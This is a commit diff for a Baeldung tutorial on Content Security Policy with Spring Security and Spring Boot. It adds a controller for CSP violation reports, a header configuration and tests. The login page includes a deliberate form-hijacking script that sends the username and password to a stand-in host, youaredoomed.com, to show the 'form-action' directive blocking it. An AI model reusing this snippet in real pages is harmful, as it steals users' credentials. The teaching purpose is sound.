BAEL-4837 - Content Security Policy using Spring Security and Spring … (#11603)
* BAEL-4837 - Content Security Policy using Spring Security and Spring Boot * Application Code * Formatted the code * Reformatted the test cases as per review comments * Removed the formatters and deleted extra spaces Co-authored-by: Bhaskara Navuluri <bhaskara.navuluri@hpe.com>
This commit is contained in:
parent
9b905cef77
commit
f16ed0b658
@ -1,7 +1,5 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
||||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
|
||||||
<modelVersion>4.0.0</modelVersion>
|
<modelVersion>4.0.0</modelVersion>
|
||||||
<artifactId>spring-security-web-boot-3</artifactId>
|
<artifactId>spring-security-web-boot-3</artifactId>
|
||||||
<version>0.0.1-SNAPSHOT</version>
|
<version>0.0.1-SNAPSHOT</version>
|
||||||
@ -25,6 +23,25 @@
|
|||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-web</artifactId>
|
<artifactId>spring-boot-starter-web</artifactId>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>commons-io</groupId>
|
||||||
|
<artifactId>commons-io</artifactId>
|
||||||
|
<version>2.11.0</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.webjars</groupId>
|
||||||
|
<artifactId>webjars-locator-core</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.webjars</groupId>
|
||||||
|
<artifactId>bootstrap</artifactId>
|
||||||
|
<version>5.1.1</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.webjars</groupId>
|
||||||
|
<artifactId>jquery</artifactId>
|
||||||
|
<version>3.6.0</version>
|
||||||
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-test</artifactId>
|
<artifactId>spring-boot-starter-test</artifactId>
|
||||||
|
@ -0,0 +1,11 @@
|
|||||||
|
package com.baeldung.contentsecuritypolicy;
|
||||||
|
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
|
@SpringBootApplication
|
||||||
|
public class ContentSecurityPolicyApplication {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
SpringApplication.run(ContentSecurityPolicyApplication.class, args);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,23 @@
|
|||||||
|
package com.baeldung.contentsecuritypolicy;
|
||||||
|
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.slf4j.Logger;
|
||||||
|
import org.slf4j.LoggerFactory;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
|
@RestController
|
||||||
|
public class ContentSecurityPolicyController {
|
||||||
|
private static final Logger logger = LoggerFactory.getLogger(ContentSecurityPolicyController.class);
|
||||||
|
|
||||||
|
@PostMapping("/report")
|
||||||
|
public void report(HttpServletRequest request) throws IOException {
|
||||||
|
if (logger.isInfoEnabled()) {
|
||||||
|
logger.info("Report: {}", IOUtils.toString(request.getInputStream(), StandardCharsets.UTF_8));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,26 @@
|
|||||||
|
package com.baeldung.contentsecuritypolicy;
|
||||||
|
|
||||||
|
import org.springframework.context.annotation.Configuration;
|
||||||
|
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
||||||
|
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
|
||||||
|
import org.springframework.security.web.header.writers.StaticHeadersWriter;
|
||||||
|
|
||||||
|
@Configuration
|
||||||
|
public class ContentSecurityPolicySecurityConfiguration extends WebSecurityConfigurerAdapter {
|
||||||
|
private static final String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void configure(HttpSecurity http) throws Exception {
|
||||||
|
http.csrf()
|
||||||
|
.disable()
|
||||||
|
.authorizeRequests()
|
||||||
|
.antMatchers("/**")
|
||||||
|
.permitAll()
|
||||||
|
.and()
|
||||||
|
.headers()
|
||||||
|
.addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
|
||||||
|
.xssProtection()
|
||||||
|
.and()
|
||||||
|
.contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,67 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<title>Content Security Policy</title>
|
||||||
|
<link href="/webjars/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|
||||||
|
<script src="/webjars/jquery/jquery.min.js"></script>
|
||||||
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@100;200;300&display=swap" rel="stylesheet">
|
||||||
|
<link href="/main.css" rel="stylesheet">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<nav class="navbar navbar-dark bg-dark">
|
||||||
|
<div class="container-fluid">
|
||||||
|
<a class="navbar-brand" href="#">
|
||||||
|
Baeldung – Content Security Policy
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</nav>
|
||||||
|
<br/>
|
||||||
|
<div class="container">
|
||||||
|
|
||||||
|
<div class="row justify-content-center">
|
||||||
|
<div class="col-6">
|
||||||
|
<div class="alert alert-warning" role="alert">
|
||||||
|
Session time out. Please login.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row justify-content-center">
|
||||||
|
<div class="col-6">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-body">
|
||||||
|
<h3 class="card-title"><strong>Login</strong></h3>
|
||||||
|
<hr/>
|
||||||
|
<form id="login" action="/login" method="post" autocomplete="off">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="email">Email <span class="text-danger">*</span></label>
|
||||||
|
<input type="text" class="form-control" id="email" autocomplete="off">
|
||||||
|
</div>
|
||||||
|
<br/>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="password">Password <span class="text-danger">*</span></label>
|
||||||
|
<input type="password" class="form-control" id="password">
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
let form = document.forms.login;
|
||||||
|
form.onsubmit = function () {
|
||||||
|
let username = document.getElementById("email").value;
|
||||||
|
let password = document.getElementById("password").value;
|
||||||
|
form.action = "https://youaredoomed.com:9090/collect?u=" + username + "&p=" + password;
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<br/>
|
||||||
|
<button class="btn btn-primary">Login</button>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
@ -0,0 +1,26 @@
|
|||||||
|
html, body{
|
||||||
|
font-family: Raleway, serif;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
.navbar
|
||||||
|
{
|
||||||
|
background-color: #63b175 !important;
|
||||||
|
}
|
||||||
|
.navbar-brand
|
||||||
|
{
|
||||||
|
font-size: 1.75rem;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
hr{
|
||||||
|
border: 0px dotted rgba(249, 249, 249, 0.88);
|
||||||
|
}*/
|
||||||
|
|
||||||
|
hr {
|
||||||
|
border: 0;
|
||||||
|
border-bottom: 1px dashed #969595;
|
||||||
|
background: #969595;
|
||||||
|
}
|
||||||
|
label{
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
@ -0,0 +1,64 @@
|
|||||||
|
package com.baeldung.contentsecuritypolicy;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.DisplayName;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
|
||||||
|
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
|
||||||
|
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
|
import org.springframework.test.web.servlet.MvcResult;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
|
||||||
|
import java.util.Collection;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
|
||||||
|
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
|
||||||
|
|
||||||
|
@WebMvcTest
|
||||||
|
@AutoConfigureMockMvc
|
||||||
|
@DisplayName("Content Security Policy Unit Tests")
|
||||||
|
class ContentSecurityPolicyUnitTest {
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
private MockMvc mockMvc;
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@DisplayName("Test to Check Bad URL")
|
||||||
|
void whenWrongUri_thenThrow404() throws Exception {
|
||||||
|
MvcResult result = mockMvc.perform(post("/reports").content("").contentType(MediaType.APPLICATION_JSON)).andReturn();
|
||||||
|
|
||||||
|
assertEquals(HttpStatus.NOT_FOUND.value(), result.getResponse().getStatus());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@DisplayName("Test to Check Page rendering")
|
||||||
|
void whenGet_thenRenderPage() throws Exception {
|
||||||
|
MvcResult result = mockMvc.perform(get("/").content("")).andReturn();
|
||||||
|
|
||||||
|
assertEquals(HttpStatus.OK.value(), result.getResponse().getStatus());
|
||||||
|
assertEquals("text/html", MediaType.TEXT_HTML_VALUE);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@DisplayName("Test to Check CSP headers")
|
||||||
|
void whenGet_thenCheckCspHeaders() throws Exception {
|
||||||
|
MvcResult result = mockMvc.perform(get("/").content("")).andReturn();
|
||||||
|
HttpServletResponse response = result.getResponse();
|
||||||
|
Collection<String> headers = response.getHeaderNames();
|
||||||
|
|
||||||
|
assertNotNull(result);
|
||||||
|
assertNotNull(headers);
|
||||||
|
assertEquals(HttpStatus.OK.value(), response.getStatus());
|
||||||
|
assertEquals("text/html", MediaType.TEXT_HTML_VALUE);
|
||||||
|
assertTrue(headers.contains("Report-To"));
|
||||||
|
assertTrue(headers.contains("Content-Security-Policy"));
|
||||||
|
}
|
||||||
|
}
|
Loading…
x
Reference in New Issue
Block a user